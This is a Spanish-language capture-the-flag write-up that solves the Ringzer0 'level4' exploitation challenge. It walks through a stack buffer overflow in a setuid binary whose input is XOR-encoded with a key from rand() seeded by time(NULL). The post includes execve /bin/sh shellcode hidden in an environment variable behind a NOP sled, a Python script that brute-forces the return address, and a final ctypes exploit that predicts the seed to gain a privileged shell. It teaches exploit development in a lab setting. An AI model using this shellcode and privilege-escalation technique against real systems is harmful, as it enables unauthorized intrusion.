Nuevas Entradas

Ringzer0 Level4 Pwned! by hdbreaker

by hdbreaker

Hace algunos días me entere que el equipo de ringzer0team había creado nuevos retos de exploiting y decidí retomarlos.
 Este reto ya había sido solucionado por [Q]3rv[0] y en su momento compartió su solución en:


Este post no trata de ser una repetición de lo mismo, sino un enfoque distinto para resolver el reto.

De mas esta decir que voy a ir tratando los distintos problemas que fui encontrando ya que no he había propuesto no leer la solución de [Q]3rv[0] hasta haberlo resuelto por mis propios medios.


Para poder ingresar al reto previamente hay que resolver el level 3, en ningún post voy a dejar los flags ya que estas entradas buscan ayudar a los participantes que se han quedado trabados o quieren aprender y mejorar sus habilidades en el desarrollo de Exploits.

Solo escribiré entradas respecto a los retos que me han resultado difíciles de resolver y creo interesante compartir debido a su dificultad de resolución.

Una vez ingresamos por ssh al servidor debemos dirigirnos hacia la carpeta /levels/ en ella nos encontramos con los binarios a explotar y su respectivo código fuente:



Antes de leer el código realizamos una primera ejecución del binario enviando como argumento el texto TEST:



Podemos observar que la salida no se parece en nada a nuestro parámetro por lo que revisaremos un poco el código fuente para ver que hace el binario:



Al leerlo podemos observar que nuestro parámetro es tratado por la función parse_buffer() antes de ser mostrado en pantalla.

parse_buffer:



Esta función genera un key aleatorio (unsigned char) que va desde 0 a 255, luego recorre cada carácter del buffer y le realiza la operación XOR con el key generado.

http://www.taringa.net/posts/hazlo-tu-mismo/15576788/Implementar-XOR-a-la-hora-cifrar.html

Este proceso es conocido como un algoritmo de cifrado simétrico, lo que quiere decir que si repetimos el mismo procedimiento sobre el buffer cifrado, este volverá a su estado original (se descifraría).

Bajo este concepto. si conociésemos el valor del key, podríamos manejar la información almacenada en el buffer.

Al tratarse de un cifrado simétrico, si nosotros previamente cifráramos con el mismo key nuestro argumento, la función parse_buffer realmente trabajaría descifrando el buffer.

Para poder realizar este proceso sin tener que lidiar con la función rand() del binario, forzaremos el key a un numero especifico y compilaremos un binario de testing.


#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <time.h>

#define BUFFER_MAX_SIZE 1024

typedef struct __INPUT {
        char output[BUFFER_MAX_SIZE / 4];
} INPUT;

void parse_buffer(char *buffer) {
    srand(time(NULL));
    char key = (unsigned char)(21); /* rand() fue modificado por el numero 21 */
    printf("KEY %d\n", key); /* muestro el key para asegurarme que sea correcto */
    int i, size = strlen(buffer);
    for(i = 0; i < size; i++) {
        buffer[i] = (char)buffer[i] ^ key;
    }
}

int main(int argc, char **argv) {
    INPUT input;
    char out[BUFFER_MAX_SIZE / 4];
    char in[BUFFER_MAX_SIZE];
    memset(out, 0, BUFFER_MAX_SIZE / 4);

    if(argc != 2) {
        printf("Usage: %s buffer\n", argv[0]);
        exit(0);
    }

    strncpy(in, argv[1], BUFFER_MAX_SIZE - 1);
    parse_buffer(in);

    strncpy(out, in, BUFFER_MAX_SIZE - 1);
    strncpy(input.output, out, BUFFER_MAX_SIZE - 1);
    printf("output: %s\n", input.output);
    return 0;
}

con este simple cambio nos garantizamos que nuestro binario de testing cifre/descifre siempre con el key 21.

Compilamos con los flags correspondientes para eliminar cualquier tipo de protección y damos los permisos necesarios.

$ gcc -m32 -fno-stack-protector -z execstack -o /tmp/level4test /tmp/level4.c
chmod 777 /tmp/level4test

Solo resta crear un pequeño script en python que tome un argumente le realice un cifrado XOR 21 e imprima la cadena:

#/tmp/payload.py
#Cifrado XOR en python
import sys
if(len(sys.argv)<2):
        print "Usage: python payload.py {string}";
else:
        payload = "";
        key = 21;
        for letter in sys.argv[1]:
                payload = payload + str(chr(ord(letter) ^ int(key)));
        print payload;


En este punto si realizamos la ejecución del binario de la siguiente forma:

/tmp/level4test $(python /tmp/payload.py TEST)

Apreciamos como el output del binario realizo el descifrado del argumento "TEST" cifrado previamente por nuestro payload.py.


Ahora podemos proceder a intentar overflodear el ejecutable sin miedo a pisar EIP con una dirección de memoria cifrada y sin sentido para el procesador.

Leyendo el código fuente del binario podemos obtener que el largo mínimo necesario para overflodear el buffer es 256 bytes, esto lo interpretamos siendo que:

#define BUFFER_MAX_SIZE 1024 // El tamaño máximo del buffer es 1024 bytes 
 char in[BUFFER_MAX_SIZE]; //Se crea el array in con un tamaño de 1024 bytes
 memset(out, 0, BUFFER_MAX_SIZE / 4) //Se le asigna un espacio de 256 bytes a la variable out
 strncpy(in, argv[1], BUFFER_MAX_SIZE - 1); //Se copian 1023 bytes del argumento binario al array in
 strncpy(out, in, BUFFER_MAX_SIZE - 1); //Se copian 1023 bytes de in en out, acá se produce en buffer overflow ya que out espera un maximo de 256 bytes y recibe 1023 bytes

Procederemos a depurar con gdb el binario y enviamos como argumento de payload.py: $(python -c "print 'A'*256")

r $(python /tmp/payload.py $(python -c "print 'A'*256"))


Vemos como hemos logrado pisar de forma correcta EIP, pero esta vez la sobrescritura de EIP no se produce al final del binario como podemos apreciar modificando los últimos 4 bytes:


por lo que deberemos buscar exactamente donde sobrescribimos EIP, para esto dividimos 256 bytes en 3 tipos distintos de caracteres para acorralar el byte justo:


Podemos ver que se logra sobrescribir EIP en los primeros 84 bytes, por lo que repetimos el proceso las veces que sea necesario hasta obtener que EIP se sobrescribe luego de 12 bytes:

r $(python /tmp/payload.py $(python -c "print 'A'*12+'B'*4+'C'*240"))



En este momento podemos controlar el flujo del programa de forma exitosa, obligando al programa a saltar hacia donde nosotros queramos.

El dilema: donde agrego el shellcode?


Se pueden tomar 2 caminos muy distintos en este punto, podemos optar por incluir nuestro shellcode en el espacio de 240 bytes al final del buffer, o podemos incluir nuestra shellcode dentro de una variable de entorno.

A simple vista ambas soluciones parecen optimas salvo un detalle, a veces al realizar cifrados/descifrados sobre algunos bytes como \x01, \x02, \x03, etc obtenemos badchars que rompen nuestro flujo de ejecución.

Por lo que luego de varios intentos frustrados con este método me decidí a incluir el shellcode por medio de una variable de entorno y de esta forma mantenerla lejos de cualquier operación XOR en el proceso de explotación.

Exportamos nuestra shellcode:

$ export SecuritySignal=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

Volvemos a gdb y comenzamos a buscar la dirección de la variable de entorno al final de $esp

(gdb) b main
(gdb) r
(gdb) x/10s $esp

Damos enter hasta llegar a la dirección:



podemos apreciar que la dirección de SecuritySignal es: 0xbfffff33

No debemos olvidar que en realidad la variable de entorno es un string por lo tanto nuestro shellcode comienza en 0xbfffff33+(len('SecuritySignal=')) que es igual a 0xbfffff42

Si realizamos una prueba rápida de esto, podemos ver como obtenemos shell:

r $(python /tmp/payload.py $(python -c "import struct; print 'A'*12+struct.pack('<I', 0xbfffff42)+'C'*240"))



Este proceso funciona de la misma forma para el binario original en /levels/level4 solo que ademas deberemos luchar con el cifrado XOR RANDOM, y no hay que olvidar que al producir shell dentro de gdb no escalaremos privilegios por lo que hay que buscar la forma de obtener shell por medio de bash.

EL GRAN PROBLEMA


La memoria funciona de una forma bastante compleja, intentare detallar algunos problemas:

Una variable de entorno dentro de gdb tiene una determinada dirección, pero por fuera de gdb, directamente desde bash, esta dirección de memoria cambia dependiendo de diferentes factores, puede incrementar o disminuir una cantidad aleatoria de bytes, por lo general entre 100 y 500 bytes.

Ya que esto sucede nuestra dirección de memoria: 0xbfffff42 no nos sirve para realizar una explotación por fuera de gdb.

Como obtenemos la dirección de memoria de una variable de entorno?

Para realizar esto utilizaremos un pequeño programa en C y haremos uso de la función getenv() que permite desde el código obtener una variable de entorno:

#/tmp/getenv.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {

if(argc < 2) {
printf("Usage: %s <environ_va>\n", argv[0]);
exit(-1);
}

char *addr_ptr;

addr_ptr = getenv(argv[1]);

if(addr_ptr == NULL) {
printf("Environmental variable %s does not exist!\n", argv[1]);
exit(-1);
}

printf("%s is stored at address %p\n", argv[1], addr_ptr);
return(0);
}

Compilamos el programa: gcc -o /tmp/getenv /tmp/getenv.c
Ejecutamos enviando como parametro el nombre de nuestra variable de entorno:


Esto nos indica que nuestra SHELLCODE esta cerca de 0xbfffff38

Tristemente como suena, no hay forma de obtener la dirección exacta del comienzo de una variable de entorno, simplemente basta con retroceder una cierta cantidad de bytes de donde especulamos se encuentra nuestra variable de entorno e ir avanzando byte por byte.

Al ser este proceso bastante tedioso decidí realizar un script que realice el trabajo bruteforceando la dirección de memoria por mi:

#/tmp/wrapper.py
#Bruteforce SHELLCODE address by hdbreaker
import os
import struct

def xor_enc(inside):
 payload = "";
 key = 21;
 for letter in inside:
  payload = payload + str(chr(ord(letter) ^ int(key)));
 return payload;

address = 0xbffff838; #Back in memory address, original => 0xbfffff38  
sleed1 = 'TEST'+'\x90'*8
sleed2 = '\x90'*240

while True:
 try:
  hex_add = struct.pack('<I',address)

  payload = sleed1+hex_add+sleed2
  arg = xor_enc(payload)

  print str(hex(ord(hex_add[3]))) + str(hex(ord(hex_add[2]))).replace('0x','') + str(hex(ord(hex_add[1]))).replace('0x','') + str(hex(ord(hex_add[0]))).replace('0x','');

  os.system('/tmp/level4test '+arg)
  address = address+0x01
 except:
  address = address+0x01

Luego de probar varias direcciones, nuestra shell aparece y podemos ver como el script nos muestra la dirección de memoria donde encuentra la variable de entorno SecuritySignal:



Podemos apreciar como el exploit va bruteforceando la dirección de memoria hasta obtener shell en: 0xbffff9a9

De esta forma obtenemos la dirección de memoria correcta de nuestra variable SecuritySignal, la lógica indica que utilizando esta dirección de memoria en el binario original y lidiando un rato con el cifrado XOR RANDOM, deberíamos obtener SHELL con privilegios.

Realizaremos una prueba rápida modificando el valor de memoria del exploit a: 0xbffff9a9, eliminando el incremento de la dirección de memoria, cambiando la ruta del ejecutable a: /levels/level4 y para tener un mejor control visual de la ejecución del programa agregaremos un pequeño retraso entre cada ejecución:

Nota: se agrego el string 'TEST' al comienzo de los primeros 12 bytes con el fin de poder tener una referencia visual cuando rand() tome el valor 21 (TEST se volvería legible en pantalla)

import os
import time
import struct

def xor_enc(inside):
 payload = "";
 key = 21;
 for letter in inside:
  payload = payload + str(chr(ord(letter) ^ int(key)));
 return payload;

address = 0xbffff9a9; #Address of SHELLCODE enviroment variable  
sleed1 = 'TEST'+'\x90'*8
sleed2 = '\x90'*240

while True:
 try:
  hex_add = struct.pack('<I',address)

  payload = sleed1+hex_add+sleed2
  arg = xor_enc(payload)

  print str(hex(ord(hex_add[3]))) + str(hex(ord(hex_add[2]))).replace('0x','') + str(hex(ord(hex_add[1]))).replace('0x','') + str(hex(ord(hex_add[0]))).replace('0x','');

  os.system('/levels/level4 '+arg) #Change executable file to /levels/level4
  time.sleep(0.75)
 except:
  pass

Luego de un tiempo la función rand() toma el valor 21 y descifra correctamente nuestro payload:


PERO QUE?!? en este punto quede desconcertado un par de días y me puse a estudiar más sobre la gestión de memoria y la localización de las variables de entorno.

En ese tiempo aprendí que las variables de entorno no solo cambian de dirección por fuera de gdb sino que también cambian de dirección dependiendo el path donde estemos situados, así que SecuritySignal se encontrará en 0xbffff9a9 solo para los binarios que se encuentren en la carpeta /tmp/ pero no para los binarios en la carpeta /levels/.

Debido a esto me encontraba bastante frustrado, el proceso de bruteforcing debería funcionar pero... al tener que lidiar con el cifrado XOR RANDOM los bucles se volverían practicamente infinitos, ya que debería repetir la misma dirección de memoria hasta garantizar que el payload se descifro correctamente y si el payload no me brinda una shell, recién ahí volver a incrementar la dirección de memoria.

El trabajo tardaría meses o quizás años,  así que me estanque en este punto y decidí tomarme un día más para pensar en posibles soluciones.

Pasado el día lejos del reto decidí retomar con la mente fresca, y al poco tiempo de intentar superar el reto se me ocurrió lo siguiente:

Si, getenv me da una dirección de memoria, no exacta, pero próxima a - 250 o + 250 bytes podría rellenar ese espacio con NOPS (nopsleed) esperando que la dirección que me devuelve getenv se escriba con NOP, de esta forma el flujo de ejecución continuaria hasta llegar al shellcode alojado al final de la variable de entorno.

Mejor explicado:

$/tmp/getenv SecuritySignal  me comunica que la variable de entorno se encuentra próxima a: 0xbffffd42

Esto quiere decir que el punto de inició de mi shellcode podría encontrarse entre 0xbffffc48 y 0xbffffe3c (+- 250 bytes desde 0xbffffd44)

Si yo pudiera llenar ese espacio de posibilidades con NOPS (\x90), al forzar el salto hacia: 0xbffffd42 este y las posteriores posibilidades tendrían el valor NOP por lo que el flujo de ejecución se vería forzado a continuar por una cola de NOPS hasta llegar a la shellcode alojada al final de la cola.

De esta forma eliminaría totalmente la posibilidad de corromper la ejecución y forzosamente debería obtener shell:

Para esto modifique mi variable de entorno de la siguiente forma:

$ export SecuritySignal=$(python -c "print '\x90'*500+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

obtuve la dirección de memoria con /tmp/getenv SecuritySignal (0xbffffd44y la agregué en mi expoit:


En este punto la ansiedad me estaba matando, así que cruce los dedos y largue el ataque:


y por fin y luego de mucho esfuerzo y de todo el tiempo necesario para que rand() se dignara a darnos key 21, hemos logrado obtener shell con permisos de level5! Solo resta leer el flag :)

TIPS:

La memoria muchas veces nos juega malas pasadas, algunas recomendaciones de mi parte: 

1) Utilicen nombres de variables de entorno simil a las existentes.
2) Si su exploit no funciona prueben cambiando el nombre de la variable de entorno y obteniendo nuevamente la dirección de memoria
3) Prueben distintos largos de nopsleed previo shellcode


Actualización 09/01/2016:

Revisando el código fuente del binario a explotar, y profundizando en la importación de librerías C en python, pude llegar a una solución optima:

void parse_buffer(char *buffer) {
    srand(time(NULL));
    char key = (unsigned char)(rand());
    int i, size = strlen(buffer);
    for(i = 0; i < size; i++) {
        buffer[i] = (char)buffer[i] ^ key;
    }
}

Si observamos las 2 primeras lineas de esta función, podemos ver que la función srand(), responsable de la creación de la semilla para la generación de números aleatorios, utiliza como parámetro la función time(NULL);

Time(NULL) retorna la hora actual del sistema en segundos, la cual es tomada como parámetro de la semilla para luego con el uso de rand(); generar un numero aleatorio.

Ya que estamos tratando con un unsigned char el número aleatorio se vera limitado entre los valores 0 y 255, o lo que es igual a 256 combinaciones posibles.

Una vez obtenido este numero se utiliza como key de cifrado del buffer.

Conclusión:

Si en nuestro exploit logramos obtener el tiempo exacto en segundos del sistema, generar la semilla, el key de cifrado, cifrar el payload y ejecutar el binario a explotar antes de que pase un segundo, garantizaremos que el numero KEY RANDOM generado por el binario sera el mismo el cual generamos desde nuestro exploit ya que ambos utilizaran como semilla el mismo tiempo del sistema.

Esto se debe a que la funcion rand() genera números psudo-aleatorios que dependen directamente de la semilla, por lo que si 2 programas poseen la misma semilla, rand() generará el mismo número "aleatorio" en ambos programas.

Las funciones srand(), rand() y time() son propias de libc, y debido a esto solo deberían ser accesibles desde otro programa escrito en C.

Pero afortunadamente python posee la librería ctypes, el cual provee estructuras de datos compatibles entre ambos lenguajes y permite utilizar funciones de librerías del sistema dentro de python.

Por medio de ctypes realizaremos la generación de la misma semilla y el mismo key random que el binario, cifraremos nuestro payload y ejecutaremos el binario.

De esta forma el exploit sera valido el 99% de las veces que el reloj del sistema repita la misma hora tanto en el exploit como en el binario.

Nuestro exploit solo fallara cuando la diferencia del reloj entre la ejecución del exploit y la del binario varíe en pocos milisegundos.

Supongamos que nuestro exploit se ejecuta a las 00:00:00:59 ms, al realizar el proceso de obtener la semilla, obtendremos un numero random correspondiente a 00:00:00 pero al llegar a la ejecución del binario el reloj del sistema estará en 00:00:01, por lo que el KEY del binario sera distinto al que nosotros obtuvimos.

Todas las veces que esto no suceda nuestro exploit funcionara  correctamente.

Código:

import os
import struct
from ctypes import *

libc = CDLL("libc.so.6");

def xor_enc(inside):
 payload = "";
 libc.srand(libc.time())
 key = (libc.rand() % 256) # %256 limita el valor de rand() entre 0 y 255 valor que puede tomar unsigned char
 for letter in inside:
  payload = payload + str(chr(ord(letter) ^ int(key)));
 return payload;

address = 0xbffffeda; #Address of SHELLCODE enviroment variable  
sleed1 = 'TEST'+'\x90'*8
sleed2 = '\x90'*240

try:
 hex_add = struct.pack('<I',address)

 payload = sleed1+hex_add+sleed2
 arg = xor_enc(payload)

 print str(hex(ord(hex_add[3]))) + str(hex(ord(hex_add[2]))).replace('0x','') + str(hex(ord(hex_add[1]))).replace('0x','') + str(hex(ord(hex_add[0]))).replace('0x','');

 os.system('/levels/level4 '+arg) #Change executable file to /levels/level4
except:
 print "Exploit Fail"


Como resultado, obtenemos en la primera ejecución nuestra preciada shell:

Happy Hunting!

Share this:

 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates